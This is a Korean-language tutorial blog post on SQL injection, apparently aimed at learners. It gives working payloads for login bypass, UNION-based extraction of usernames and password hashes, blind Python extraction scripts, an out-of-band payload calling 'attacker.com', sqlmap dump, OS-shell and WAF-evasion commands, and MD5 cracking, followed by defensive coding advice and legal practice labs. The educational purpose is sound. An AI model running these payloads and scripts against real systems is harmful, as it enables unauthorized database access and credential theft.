Skip to main content

SQL Injection 마스터하기: 웹 해킹의 필수 기술

TL;DR: SQL Injection은 여전히 살아있는 가장 위험한 웹 취약점. 기본부터 Blind SQLi, Time-based 공격, sqlmap 활용까지 실전 완벽 정리.

SQL Injection이란?

사용자 입력이 SQL 쿼리에 직접 삽입��어 공격자가 데이터베이스를 조작할 수 있는 취약점.

2024년에도 OWASP Top 10에서 Injection 카테고리는 여전히 상위권입니다. 왜? 레거시 코드가 많고, 개발자들이 여전히 실수하기 때문.

간단한 예제

// 취약한 로그인 코드
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
}

정상 입력:

SELECT * FROM users WHERE username='admin' AND password='password123'

공격 입력:
Username: admin' --
Password: (아무거나)

SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
^^^^
주석 처리됨!

→ 비밀번호 검사 우회! 🚨

SQLi 타입 분류

1. In-Band SQLi (결과가 즉시 보임)

Error-based SQLi

에러 메시지로 정보 추출:

' UNION SELECT 1, version(), database() --

출력:

Error: MySQL version 8.0.32-ubuntu, Database: shop_db

Union-based SQLi

UNION으로 추가 데이터 가져오기:

' UNION SELECT null, username, password FROM admin_users --

2. Inferential SQLi (결과가 안 보임 - Blind)

Boolean-based Blind SQLi

참/거짓 반응으로 데이터 추출:

-- 데이터베이스 이름 첫 글자가 's'인가?
' AND SUBSTRING(database(),1,1)='s' --

-- 참이면: 정상 페이지
-- 거짓이면: 에러 또는 다른 페이지

Time-based Blind SQLi

시간 지연으로 참/거짓 판별:

' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) --

-- 참이면: 5초 대기
-- 거짓이면: 즉시 응답

3. Out-of-Band SQLi

DNS/HTTP 요청으로 데이터 유출 (고급):

'; EXEC xp_dirtree '\\attacker.com\' + (SELECT password FROM users WHERE id=1) + '.leak.com\share' --

실전 시나리오 #1: Union-based SQLi

타겟 분석

취약한 페이지:

https://victim.com/product.php?id=5

원본 쿼리 (추정):

SELECT name, price, description FROM products WHERE id=5

Step 1: 취약점 확인

?id=5'
→ SQL 에러 발생? → 취약!

?id=5 AND 1=1
→ 정상 페이지

?id=5 AND 1=2
→ 페이지 다름 / 에러 → Boolean SQLi 가능

Step 2: 컬럼 수 파악

?id=5 ORDER BY 1 --   ✅ 정상
?id=5 ORDER BY 2 -- ✅ 정상
?id=5 ORDER BY 3 -- ✅ 정상
?id=5 ORDER BY 4 -- ❌ 에러!

3개 컬럼 확인

Step 3: UNION 주입 지점 찾기

?id=5 UNION SELECT null, null, null --

페이지에 null이 보이는 위치 확인 → 2번째, 3번째 컬럼이 화면에 출력됨

Step 4: 데이터 추출

데이터베이스 정보:

?id=5 UNION SELECT null, database(), version() --

출력:

Name: shop_db
Price: MySQL 8.0.32

테이블 목록:

?id=5 UNION SELECT null, table_name, null FROM information_schema.tables WHERE table_schema=database() --

출력:

products
users
admin_panel
orders

users 테이블 컬럼:

?id=5 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --

출력:

id
username
password
email

사용자 데이터 추출:

?id=5 UNION SELECT null, username, password FROM users --

출력:

admin | 5f4dcc3b5aa765d61d8327deb882cf99  (MD5: password)
john | 098f6bcd4621d373cade4e832627b4f6 (MD5: test)

Step 5: 크랙 또는 활용

# MD5 해시 크랙
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# 또는 온라인: https://crackstation.net/

실전 시나리오 #2: Blind SQLi (Boolean)

상황

로그인 페이지에�� SQL 주입 시도하지만 에러 메시지가 안 보임.

Username: admin
Password: anything

→ "Invalid credentials" (항상 같은 메시지)

하지만 다음 주입 시:

Username: admin' AND '1'='1
"Invalid credentials" (정상)

Username: admin' AND '1'='2
→ 응답이 약간 다름 (또는 시간 차이)

Boolean Blind SQLi 가능!

자동화 스크립트 (Python)

import requests
import string

url = "https://victim.com/login.php"
chars = string.ascii_letters + string.digits + '_'

# 데이터베이스 이름 추출
db_name = ""
for pos in range(1, 20): # 최대 19글자
for char in chars:
payload = f"admin' AND SUBSTRING(database(),{pos},1)='{char}' -- "
data = {"username": payload, "password": "x"}

response = requests.post(url, data=data)

# "Invalid credentials" 길이로 참/거짓 판별
if len(response.text) == 1234: # 참일 때의 응답 길이
db_name += char
print(f"[+] Database: {db_name}")
break
else:
break # 더 이상 글자 없음

print(f"[!] Final database name: {db_name}")

Time-based 버전

import requests
import time

def check_char(pos, char):
payload = f"admin' AND IF(SUBSTRING(database(),{pos},1)='{char}',SLEEP(3),0) -- "
data = {"username": payload, "password": "x"}

start = time.time()
requests.post("https://victim.com/login.php", data=data, timeout=10)
elapsed = time.time() - start

return elapsed > 2.5 # 3초 SLEEP이면 참

db_name = ""
for pos in range(1, 20):
for char in string.ascii_lowercase + string.digits + '_':
if check_char(pos, char):
db_name += char
print(f"[+] Found: {db_name}")
break
else:
break

print(f"[!] Database: {db_name}")

sqlmap: 자동화의 정석

기본 사용법

# GET 파라미터 스캔
sqlmap -u "https://victim.com/product.php?id=5"

# POST 데이터 스캔
sqlmap -u "https://victim.com/login.php" --data="username=admin&password=test"

# Cookie 포함
sqlmap -u "https://victim.com/profile.php" --cookie="PHPSESSID=abc123"

# 특정 파라미터만 테스트
sqlmap -u "https://victim.com/search.php?q=test&category=books" -p q

데이터 추출

# 데이터베이스 목록
sqlmap -u "..." --dbs

# 특정 DB의 테이블
sqlmap -u "..." -D shop_db --tables

# 특정 테이블의 컬럼
sqlmap -u "..." -D shop_db -T users --columns

# 데이터 덤프
sqlmap -u "..." -D shop_db -T users -C username,password --dump

# 전체 덤프 (위험 🔥)
sqlmap -u "..." --dump-all

고급 옵션

# Blind SQLi 강제
sqlmap -u "..." --technique=B # Boolean-based만
sqlmap -u "..." --technique=T # Time-based만

# DBMS 지정 (속도 향상)
sqlmap -u "..." --dbms=MySQL

# 프록시 사용 (Burp Suite)
sqlmap -u "..." --proxy=http://127.0.0.1:8080

# User-Agent 위장
sqlmap -u "..." --random-agent

# WAF 우회
sqlmap -u "..." --tamper=space2comment

# OS 쉘 획득 (파일 업로드 가능 시)
sqlmap -u "..." --os-shell

Burp Suite 연동

  1. Burp에서 요청 캡처
  2. 우클릭 → "Copy to file" → request.txt 저장
  3. sqlmap 실행:
sqlmap -r request.txt --batch --level=5 --risk=3

방어 기법

1. Prepared Statements (가장 안전)

PHP (PDO):

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();

Python (psycopg2):

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", 
(username, password))

Node.js (mysql2):

connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password],
(err, results) => { /* ... */ }
);

2. ORM 사용

Django:

User.objects.filter(username=username, password=password)

SQLAlchemy:

session.query(User).filter_by(username=username, password=password).first()

3. 입력 검증 (추가 방어)

// 화이트리스트 방식
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username");
}

// 타입 검증
$id = (int)$_GET['id']; // 정수로 강제 변환

4. 최소 권한 원칙

-- 웹 앱용 DB 계정은 읽기/쓰기만
GRANT SELECT, INSERT, UPDATE ON shop_db.* TO 'webapp'@'localhost';

-- DROP, CREATE 같은 위험한 권한은 제거
REVOKE ALL PRIVILEGES ON *.* FROM 'webapp'@'localhost';

5. WAF (Web Application Firewall)

  • ModSecurity (오픈소스)
  • Cloudflare WAF
  • AWS WAF

WAF 룰 예시:

SecRule ARGS "@detectSQLi" "id:1,deny,status:403,msg:'SQL Injection Attempt'"

고급 테크닉

1. WAF 우회 - 인코딩

-- URL 인코딩
' OR '1'='1%27%20OR%20%271%27%3D%271

-- Double URL 인코딩
' OR '1'='1%2527%2520OR%2520%25271%2527%253D%25271

-- Unicode
' OR '1'='1 → \u0027 OR \u0027\u0031\u0027=\u0027\u0031

2. WAF 우회 - 난독화

-- 주석 삽입
'/**/OR/**/1=1

-- 대소문자 혼용
' oR '1'='1

-- 공백 대체
'OR'1'='1 (공백 없음)
'+OR+'1'='1 (+ = 공백)
'/**/OR/**/1=1 (주석 = 공백)

3. Second-Order SQLi

첫 입력은 저장만 되고, 나중에 사용될 때 실행:

// 회원가입
$username = mysqli_real_escape_string($conn, $_POST['username']);
mysqli_query($conn, "INSERT INTO users (username) VALUES ('$username')");

// 나중에 프로필 페이지에서...
$user = mysqli_query($conn, "SELECT * FROM users WHERE id=1");
$username = $user['username']; // escape 없이 그대로 사용!

$stats = mysqli_query($conn, "SELECT * FROM stats WHERE username='$username'");

공격:

회원가입 시 username: admin' OR '1'='1
→ DB에 저장됨: admin' OR '1'='1
→ 프로필 조회 시: SELECT * FROM stats WHERE username='admin' OR '1'='1'

4. NoSQL Injection (MongoDB)

// 취약한 코드
db.users.find({ username: req.body.username, password: req.body.password })

// 공격 payload (JSON)
{
"username": {"$ne": null},
"password": {"$ne": null}
}

// 실행되는 쿼리
db.users.find({ username: {$ne: null}, password: {$ne: null} })
// → 모든 사용자 반환!

방어:

// 타입 검증
if (typeof req.body.username !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}

// 또는 Object 금지
const username = String(req.body.username);
const password = String(req.body.password);

실전 연습

합법적 연습 플랫폼

플랫폼난이도설명
PortSwigger Web Security Academy초급~고급Burp Suite 제작사, 무료 랩
DVWA (Damn Vulnerable Web App)초급~중급로컬 설치, PHP 기반
bWAPP중급100+ 취약점 포함
SQLi Labs초급~고급SQLi 전용 75개 레벨
HackTheBox중급~고급실전 머신, 유료
TryHackMe초급~중급가이드 있는 학습 경로

로컬 랩 구축

# DVWA 설치 (Docker)
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker-compose up -d

# 접속: http://localhost
# 기본 계정: admin / password

연습 순서:

  1. Low 보안 → SQL Injection 기본 익히기
  2. Medium 보안 → 필터링 우회 연습
  3. High 보안 → Blind SQLi, Time-based 마스터
  4. Impossible → 안전한 코드 학습

체크리스트

🔍 취약점 발견

  • ', ", ; 입력 시 에러 발생?
  • 1' AND '1'='1 vs 1' AND '1'='2 반응 다름?
  • 1' OR '1'='1 입력 시 더 많은 결과?
  • 타입 변환 (숫자 → 문자열) 시 동작 변화?

🎯 공격 진행

  • 컬럼 수 파악 (ORDER BY)
  • UNION 주입 지점 찾기
  • 데이터베이스 정보 수집 (information_schema)
  • 테이블/컬럼 열거
  • 데이터 추출
  • 권한 상승 시도 (FILE, SUPER 권한)

🛡️ 개발자용 방어 체크

  • Prepared Statements 사용?
  • ORM 사용 (안전한 방식)?
  • 입력 검증 (화이트리스트)?
  • DB 계정 최소 권한?
  • 에러 메시지 숨김?
  • WAF 적용?
  • 로깅/모니터링?

마치며

SQL Injection은 2026년에도 살아있는 위협입니다.

공격자 관점:

  • 가장 높은 ROI (투자 대비 수익)
  • 자동화 도구 풍부 (sqlmap, Havij, jSQL)
  • CTF, 버그바운티에서 고득점

개발자 관점:

  • Prepared Statements 하나면 99% 방어
  • 하지만 레거시 코드, 복잡한 쿼리, NoSQL은 여전히 위험
  • "내 코드는 안전해" → 가장 위험한 생각

다음 학습 경로:

  1. DVWA SQLi 섹션 전체 클리어 (Low → Impossible)
  2. PortSwigger Academy SQLi 전체 랩 완료
  3. HackTheBox에서 SQLi 태그 머신 3개 풀기
  4. 실제 버그바운티 프로그램에 도전

쿼리는 코드다. 코드는 검증되어야 한다. 💉

다음 글 예고:
"XSS 완전정복: DOM부터 Blind XSS까지"